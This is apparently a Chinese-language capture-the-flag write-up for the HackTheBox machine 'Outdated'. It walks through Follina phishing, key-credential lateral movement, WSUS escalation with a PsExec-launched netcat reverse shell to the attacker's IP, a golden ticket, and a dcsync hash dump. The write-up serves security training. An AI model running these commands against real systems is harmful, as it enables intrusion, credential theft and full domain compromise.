HTB-M-Outdated
HTB-M-Outdated
讲的是一个CVE的钓鱼,还有一个WSUS的提权+AddKeyCredentialLink的横移
扫端口,
smb匿名登录存在文件泄露
pdf文件中存在在邮箱账户,以及几个CVE需要修补的
然后利用
存在RID但是我没有进行后续的信息收集,
钓鱼攻击
CVE-2022-30190
编写脚本
1 | #!/usr/bin/env python3 |
生成的内容放在msdt.html
然后web服务目录放个nc64.exe,然后是开启监听
发送邮件
1 | swaks --to itsupport@outdated.htb --from "ddl@ddl.htb" --header "Subject: Internal web app" --body "http://10.10.16.14/msdt.html" |
获得第一个账户
进去之后看看IP是172.16.20.20段的
下载bloodhound看看
1 | iwr http://10.10.16.14/SharpHound.exe -outfile s.exe |
然后传给kali
AddKeyCredentialLink
1 | iwr http://10.10.16.14/Whisker.exe -outfile w.exe |
1 | .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb |
WSUS
(Windows Server Update Services)是许多企业 Windows 环境中的一个关键组件。它允许管理员集中管理和分发更新。
[工具](git clone https://github.com/nettitude/SharpWSUS.git)
利用条件
🎯 WSUS 提权利用的核心条件4个:
如果看不懂,往下直接看例子👇
条件 | 说明 |
---|---|
WSUS 使用 HTTP 而非 HTTPS | 明文传输,攻击者可中间人劫持更新 |
客户端允许非 Microsoft 签名更新 | 正常应该只允许签名更新,放开后可植入恶意更新 |
攻击者能访问客户端与 WSUS 的通信路径 | 通常在内网中或能 ARP/网络劫持 |
有权限修改 DNS 或执行中间人攻击 | 比如使用 Responder + WPAD 、ARP 欺骗等方式重定向更新请求 |
缺乏更新验证机制(如证书校验) | 客户端未验证更新源、签名、证书链等安全信息 |
识别
1 | reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate |
1 | WUServer REG_SZ http://wsus.outdated.htb:8530 |
1风险👆 — 使用了 HTTP(非 HTTPS)
- 必须条件(最重要)
1 | AcceptTrustedPublisherCerts REG_DWORD 0x1 |
2风险👆 — 接受“受信任发布者”的证书
- 如果为 0,你就必须使用微软签名的 MSI 文件,非常受限。
1 | DoNotConnectToWindowsUpdateInternetLocations REG_DWORD 0x1 |
3风险👆 表示此客户端仅使用内部 WSUS,不会访问微软官网,这让你完全控制其更新源。
- 次要条件(但有利)
- 禁止外网更新
1 | WUServer = http://wsus.outdated.htb:8530 |
4风险👆 客户端已经注册到了 WSUS 服务器
- 必须条件
利用
1 | .\SharpWSUS inspect |
一
WSUS 只会运行经过签名的 Microsoft 二进制文件。由于我没有好的方法来获取 MS 签名证书,我必须使用合法的工具。在这使用PSExec。
1 | .\SharpWSUS create /payload:"C:\Users\sflowers\downloads\PsExec64.exe" /args:" -accepteula -s -d C:\Users\sflowers\downloads\nc64.exe -e cmd.exe 10.10.16.14 445" /title:"CVE-2022-30190" |
PsExec 的 /args 是 -accepteula ,这样它就不会弹出一个窗口并等待点击, -s 以系统身份运行, -d 立即返回。 /title 是任意的。
路径用绝对路径
二
1 | .\SharpWSUS approve /updateid:9a8d6f25-0a74-474b-8624-62feaa81b3f4 /computername:dc.outdated.htb /groupname:"CriticalPatches1" |
我需要批准那个更新,使用输出中给出的语法( /groupname 是任意的)
然后nc直接监听就行
其他附加
检查
1 | .\SharpWSUS.exe check /updateid:137147af-1494-4067-94cf-9da1aeca5d41 /computername:dc.outdated.htb |
后期掠夺
跑mimikatz,获得了 SID
、 KRBTGT NTLM
哈希,这足以让我执行我的黄金票攻击。
1 | kerberos::golden /domain:outdated.htb /user:Administrator /sid:S-1-5-21-4089647348-67660539-4016542185 /rc4:<redacted> |
然后用票据生成ccache会话
1 | impacket-ticketConverter ticket.kirbi admin.ccache |
导入会话👇
1 | export KRB5CCNAME=./admin.ccache |
同步时间
使用票据
1 | impacket-psexec dc.$domain -k |
dcsync攻击,导出所有哈希值:
1 | netexec smb $box -u administrator --use-kcache -M ntdsutil |
参考
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments